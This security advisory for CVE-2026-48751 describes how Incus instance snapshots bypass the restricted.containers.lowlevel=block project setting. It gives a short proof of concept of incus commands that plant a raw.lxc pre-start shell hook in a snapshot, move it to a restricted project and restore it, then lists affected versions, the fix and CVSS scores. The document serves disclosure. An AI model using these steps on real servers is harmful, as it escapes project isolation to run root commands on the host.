CVE-2026-48751
Published:July 01, 2026
Updated:July 02, 2026
Summary Instance snapshots ignore the "restricted.containers.lowlevel=block" setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as "raw.lxc" and "raw.qemu". Details Instance snapshots ignore the "restricted.containers.lowlevel=block" setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as "raw.lxc" and "raw.qemu". As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. PoC remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.
Affected Packages
github.com/lxc/incus (GO):
Affected version(s) >=v0.0.0-20170216052942-23da0234979f <v7.2.0Fix Suggestion:
Update to version v7.2.0Related Resources (2)
Do you need more information?
Contact UsCVSS v4
Base Score:
9.4
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
HIGH
Vulnerable System Availability
HIGH
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
HIGH
Subsequent System Availability
HIGH
CVSS v3
Base Score:
9.9
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
CHANGED
Confidentiality
HIGH
Integrity
HIGH
Availability
HIGH
Weakness Type (CWE)
Missing Authorization